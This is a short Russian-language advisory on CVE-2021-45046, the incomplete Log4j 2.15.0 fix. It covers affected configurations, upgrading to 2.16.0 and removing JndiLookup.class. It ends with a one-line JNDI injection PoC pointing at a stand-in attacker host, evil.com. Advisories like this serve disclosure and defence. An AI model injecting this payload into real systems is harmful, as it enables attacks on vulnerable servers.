
Log4j 2.15.0 Повышение привилегий -- CVE-2021-45046

Было обнаружено, что исправление для CVE-2021-44228 в Apache Log4j 2.15.0 было неполным в некоторых нестандартных конфигурациях. Это может позволить атакующим, контролирующим входные данные Thread Context Map (MDC), при использовании в конфигурации логирования нестандартного Pattern Layout с Context Lookup (например, $${ctx:loginId}) или шаблоном Thread Context Map (%X, %mdc, или %MDC) создавать вредоносные входные данные с использованием шаблона JNDI Lookup, что приводит к атаке типа «отказ в обслуживании» (DOS). Log4j 2.15.0 по умолчанию ограничивает JNDI LDAP-запросы локальным хостом. Обратите внимание, что предыдущие смягчающие меры, включающие настройку системного свойства log4j2.noFormatMsgLookup в true, НЕ устраняют эту конкретную уязвимость. Log4j 2.16.0 исправляет эту проблему, удаляя поддержку шаблонов поиска сообщений и отключая функциональность JNDI по умолчанию. Эту проблему можно смягчить в предыдущих версиях (<2.16.0) путем удаления класса JndiLookup из classpath (пример: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
PoC
${jndi:ldap://127.0.0.1#evil[.]com:1389/a}